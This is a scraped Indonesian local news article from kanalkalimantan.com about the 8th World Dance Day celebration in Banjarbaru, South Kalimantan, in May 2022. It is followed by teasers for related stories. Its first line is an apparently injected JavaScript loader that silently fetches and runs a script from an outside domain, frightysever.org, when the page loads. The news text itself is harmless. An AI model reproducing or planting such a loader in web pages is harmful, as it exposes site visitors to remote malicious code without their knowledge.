(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua tahun vakum disebabkan pandemi Covid-19, peringatan Hari Tari Dunia (HTD) berlangsung di Misbar Banjarbaru dengan mengusung tema “Dance Through Life”.
Gelaran Hari Tari Dunia ke-8 ini digelar selama dua hari dari tanggal 14-15 Mei 2022, diikuti 70 peserta baik dari lokal, nasional hingga mancanegara yang menampilkan 80 karya terbaik mereka.
Koordinator Humas HTD ke-8 Kalsel 2022, Handi, menuturkan HTD Kalsel 2022 merupakan moment penting bagi para seniman Kalsel sebagai ruang berekspresi.
“HTD ke-8 ini bisa menjadi pemicu kebangkitan seni di Kalimantan Selatan dan juga menjadi titik balik dalam berkegiatan kedepannya,” tuturnya, Sabtu (14/5/2022).
Baca juga : Sambut Harjad ke-70 HSU, DPPKB Bersama IBI Gelar Gebyar Pelayanan KB Gratis
Peserta yang hadir pada pergelaran HTD ke-8 Kalsel 2022 ini, setidaknya ada 70 peserta dengan menampilkan 80 karya terbaik mereka.
“Partisipannya ada 70 untuk karyanya ada 80, baik secara offline maupun secara online,” ujarnya.
Masih kata Handi yang juga Ketua dari Nanang Galuh Kota Banjarbaru, dirinya mengapresiasi pihaknya juga diikut sertakan sebagai salah satu inisiator HTD Kalsel tahun 2022 di Banjarbaru.
Sementara itu, Kepala Dinas Pemuda, Olahraga, Kebudayaan dan Pariwisata (Disporabudpar) Kota Banjarbaru Ahmad Yani Makkie sangat mengapresiasi pergelaran HTD Kalsel 2022 ini, terutama kepada seluruh panitia dan para pegiat seni yang telah melaksanakan HTD Kalsel 2022 ini.
Baca juga : Petani di Amuntai Utara Ditemukan Tak Bernyawa di Kebun, Aroma Tak Sedap Tercium
“Ini merupakan momentum yang sangat bagus untuk mengekspresikan diri setelah lama kita tidak berkesenian,” ujarnya.
Masih kata Yani Makkie dalam HTD Kalsel 2022 ini juga merupakan momentum untuk memperkenalkan kesenian Kalimantan Selatan ke kancah nasional dan internasional.
“Momentum kita untuk memperkenalkan kesenian serta keberagaman kita ke dunia luar, dari luar provinsi maupun mancanegara ada juga secara online,” tuntasnya.
Sementara, Asisten II Pemerintah Kota Banjarbaru, Puspa Kencana, mengatakan dalam pagelaran HTD Kalsel 2022 sangat baik dilaksanakan untuk meningkatkan kreativitas para seniman daerah.
Baca juga : Absen Selama Pandemi, Banjarbaru MTB-XC Fun 2022 Kembali!
“Hari Tari Dunia ini juga sebagai ruang kreatif untuk menciptakan kerjasama dan silaturahmi serta mempersatukan kebudayaan khususnya insan seni tari dan masyarakat,” ujarnya.
Disamping itu, banyak tujuan yang dapat dicapai dalam pergelaran HTD Kalsel Tahun 2022 ini juga sebagai upaya pelestarian seni daerah dan sarana edukasi dan rekreasi bagi masyarakat bahwa seni tari sangat berperan penting bagi peradaban manusia.
Dirinya berharap HTD Kalsel ini dapat dilaksanakan terus menerus di tahun-tahun yang akan datang.
Sekadar diketahui peserta yang mengikuti secara online ada dari beberapa daerah, seperti Kaltim, Kalteng, Aceh, Lampung, Riau, Jakarta, Bandung, Yogyakarta, Bali, Lombok, hingga Malaysia. Adapula WNI yang bekerja di Kedutaan Besar Indonesia di Amerika, Portugal, Afrika Selatan, turut berkolaborasi mengirim karya untuk perayaan HTD 2022 di Kalsel.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.